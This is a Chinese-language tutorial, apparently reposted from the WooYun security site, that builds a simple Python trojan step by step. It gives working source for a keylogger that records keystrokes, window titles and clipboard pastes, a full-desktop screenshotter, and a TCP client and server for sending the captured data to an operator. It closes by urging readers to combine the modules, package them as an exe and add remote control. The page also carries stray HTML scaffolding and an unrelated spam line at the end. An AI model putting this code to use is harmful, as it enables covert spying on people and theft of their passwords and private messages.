<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/4751

                    0x00 準備


                    文章內容僅供學習研究、切勿用于非法用途!

                    這次我們使用Python編寫一個具有鍵盤記錄、截屏以及通信功能的簡易木馬。依然選用Sublime text2 +JEDI(python自動補全插件)來擼代碼,安裝配置JEDI插件可以參照這里: http://drops.wooyun.org/tips/4413

                    首先準備好我們需要的依賴庫,python hook和pythoncom。

                    下載安裝python hook

                    enter image description here

                    下載安裝pythoncom模塊:

                    http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download

                    enter image description here

                    如果覺得麻煩,你可以直接使用集成了所有我們所需要的python庫的商業版Activepython(我們可以用他的免費版):

                    http://www.activestate.com/activepython

                    0x01 鍵盤記錄器


                    說起Keylogger,大家的思維可能早已飛向帶有wifi功能的mini小硬件去了。拋開高科技,我們暫且回歸本質,探探簡易鍵盤記錄器的原理與實現。

                    Python keylogger鍵盤記錄的功能的實現主要利用了pythoncom及pythonhook,然后就是對windows API的各種調用。Python之所以用起來方便快捷,主要歸功于這些龐大的支持庫,正所謂“人生苦短,快用Python”。

                    代碼部分:

                    #!python
                    # -*- coding: utf-8 -*-  
                    from ctypes import *
                    import pythoncom
                    import pyHook
                    import win32clipboard
                    
                    user32 = windll.user32
                    kernel32 = windll.kernel32
                    psapi = windll.psapi
                    current_window = None
                    
                    # 
                    def get_current_process():
                    
                        # 獲取最上層的窗口句柄
                        hwnd = user32.GetForegroundWindow()
                    
                        # 獲取進程ID
                        pid = c_ulong(0)
                        user32.GetWindowThreadProcessId(hwnd,byref(pid))
                    
                        # 將進程ID存入變量中
                        process_id = "%d" % pid.value
                    
                        # 申請內存
                        executable = create_string_buffer("\x00"*512)
                        h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
                    
                        psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
                    
                        # 讀取窗口標題
                        windows_title = create_string_buffer("\x00"*512)
                        length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
                    
                        # 打印
                        print 
                        print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
                        print 
                    
                        # 關閉handles
                        kernel32.CloseHandle(hwnd)
                        kernel32.CloseHandle(h_process)
                    
                    # 定義擊鍵監聽事件函數
                    def KeyStroke(event):
                    
                        global current_window
                    
                        # 檢測目標窗口是否轉移(換了其他窗口就監聽新的窗口)
                        if event.WindowName != current_window:
                            current_window = event.WindowName
                            # 函數調用
                            get_current_process()
                    
                        # 檢測擊鍵是否常規按鍵(非組合鍵等)
                        if event.Ascii > 32 and event.Ascii <127:
                            print chr(event.Ascii),
                        else:
                            # 如果發現Ctrl+v(粘貼)事件,就把粘貼板內容記錄下來
                            if event.Key == "V":
                                win32clipboard.OpenClipboard()
                                pasted_value = win32clipboard.GetClipboardData()
                                win32clipboard.CloseClipboard()
                                print "[PASTE]-%s" % (pasted_value),
                            else:
                                print "[%s]" % event.Key,
                        # 循環監聽下一個擊鍵事件
                        return True
                    
                    # 創建并注冊hook管理器
                    kl = pyHook.HookManager()
                    kl.KeyDown = KeyStroke
                    
                    # 注冊hook并執行
                    kl.HookKeyboard()
                    pythoncom.PumpMessages()
                    

                    【知識點】鉤子(Hook):Windows消息處理機制的一個平臺,應用程序可以在上面設置子程以監視指定窗口的某種消息,而且所監視的窗口可以是其他進程所創建的。

                    擼代碼時一定要注意嚴格區分大小寫。檢查無誤后啟動keylogger:

                    enter image description here

                    然后可以嘗試打開記事本寫點東西,過程中可以看到我們的keylogger窗口正在對我們的輸入實時記錄:

                    enter image description here

                    切換窗口時會自動跟蹤到新窗口(眾:這點功能都沒有還敢叫keylogger嗎!),light教授趁機騷擾一下瘋狗,可以看到我們的keylogger已經跟蹤到QQ聊天窗口,并忠實的記錄下我輸入的一切。

                    enter image description here

                    0x02 看看你在干什么:編寫一個screenshotter


                    截屏實現起來更簡單,直接調用幾個gui相關的api即可,我們直接看代碼:

                    #!python
                    # -*- coding: utf-8 -*-  
                    import win32gui
                    import win32ui
                    import win32con
                    import win32api
                    
                    # 獲取桌面
                    hdesktop = win32gui.GetDesktopWindow()
                    
                    # 分辨率適應
                    width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
                    height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
                    left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
                    top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
                    
                    # 創建設備描述表
                    desktop_dc = win32gui.GetWindowDC(hdesktop)
                    img_dc = win32ui.CreateDCFromHandle(desktop_dc)
                    
                    # 創建一個內存設備描述表
                    mem_dc = img_dc.CreateCompatibleDC()
                    
                    # 創建位圖對象
                    screenshot = win32ui.CreateBitmap()
                    screenshot.CreateCompatibleBitmap(img_dc, width, height)
                    mem_dc.SelectObject(screenshot)
                    
                    # 截圖至內存設備描述表
                    mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
                    
                    # 將截圖保存到文件中
                    screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
                    
                    # 內存釋放
                    mem_dc.DeleteDC()
                    win32gui.DeleteObject(screenshot.GetHandle())
                    

                    看看效果如何:

                    enter image description here

                    0x03 綜合運用:完成一個簡易木馬


                    無論是keylogger記錄下的內容,還是screenshotter截獲的圖片,只存在客戶端是沒有太大意義的,我們需要構建一個簡單server和client端來進行通信,傳輸記錄下的內容到我們的服務器上。

                    編寫一個簡單的TCPclient

                    #!python
                    # -*- coding: utf-8 -*- 
                    import socket
                    
                    # 目標地址IP/URL及端口
                    target_host = "127.0.0.1"
                    target_port = 9999
                    
                    # 創建一個socket對象
                    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                    
                    # 連接主機
                    client.connect((target_host,target_port))
                    
                    # 發送數據
                    client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
                    
                    # 接收響應
                    response = client.recv(4096)
                    
                    print response
                    

                    編寫一個簡單的TCPserver

                    #!python
                    # -*- coding: utf-8 -*- 
                    import socket
                    import threading
                    
                    # 監聽的IP及端口
                    bind_ip = "127.0.0.1"
                    bind_port = 9999
                    
                    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                    
                    server.bind((bind_ip,bind_port))
                    
                    server.listen(5)
                    
                    print "[*] Listening on %s:%d" % (bind_ip,bind_port)
                    
                    def handle_client(client_socket):
                    
                        request = client_socket.recv(1024)
                    
                        print "[*] Received:%s" % request
                    
                        client_socket.send("ok!")
                    
                        client_socket.close()
                    
                    while True:
                    
                        client,addr = server.accept()
                    
                        print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
                    
                        client_handler = threading.Thread(target=handle_client,args=(client,))
                    
                        client_handler.start()
                    

                    開啟服務端監聽:

                    enter image description here

                    客戶端執行:

                    enter image description here

                    服務端接收到客戶端的請求并作出響應:

                    0x04 結語


                    最后,你需要做的就是把上面三個模塊結合起來,一個簡易的具有鍵盤記錄、屏幕截圖并可以發送內容到我們服務端的木馬就完成了。可以使用py2exe把腳本生成exe可執行文件。當然你還可以繼續發揮,加上遠程控制功能。Py2exe用法可以參考這里:

                    http://www.py2exe.org/index.cgi/Tutorial

                    Enjoy coding~

                    參考文檔:

                    《Black Hat Python》 https://www.google.com https://www.python.org/ http://www.py2exe.org/

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频